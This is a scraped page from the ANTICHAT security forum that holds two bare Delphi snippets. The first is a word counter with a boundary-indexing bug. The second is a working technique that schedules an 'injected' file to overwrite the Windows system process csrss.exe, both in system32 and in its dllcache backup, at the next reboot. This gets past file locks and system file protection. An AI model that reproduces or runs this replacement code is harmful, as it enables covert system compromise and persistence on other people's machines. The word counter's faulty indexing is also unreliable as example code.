ANTICHAT — форум по информационной безопасности, OSINT и технологиям

program Project1;

var
  F:textfile;
  nubmer_of_words,i:integer;
  str:string;

begin
Assign(F,'c:\pr1.txt');
reset(F);

nubmer_of_words:=0;
while not EOF(f) do
begin
   readln(f,str);
   //если в строке видим пробел, а перед ним - НЕ пробел, значит +1 слово
   for i:=1 to length(str) 
      do if ((str[i]=' ') and (str[i-1]<>' ')) then inc(nubmer_of_words);
   //если последний символ в строке - не пробел значит +1 слово
   if str[length(str)]<>' ' then inc(nubmer_of_words);
end;
closefile(f);
WriteLn(nubmer_of_words);
Readln;
end.

program Project1;

{$APPTYPE CONSOLE}

uses
  Windows;

begin
MoveFileExA('C:\csrss_injected.exe',         //Наш файл
   'c:\windows\system32\dllcache\csrss.exe', //Заблокированый файл
            MOVEFILE_DELAY_UNTIL_REBOOT);    //Windows NT only: The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups.

MoveFileExA('C:\csrss_injected.exe',         //Наш файл
            'c:\windows\system32\csrss.exe', //Заблокированый файл
            MOVEFILE_DELAY_UNTIL_REBOOT);    //Windows NT only: The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups.
end.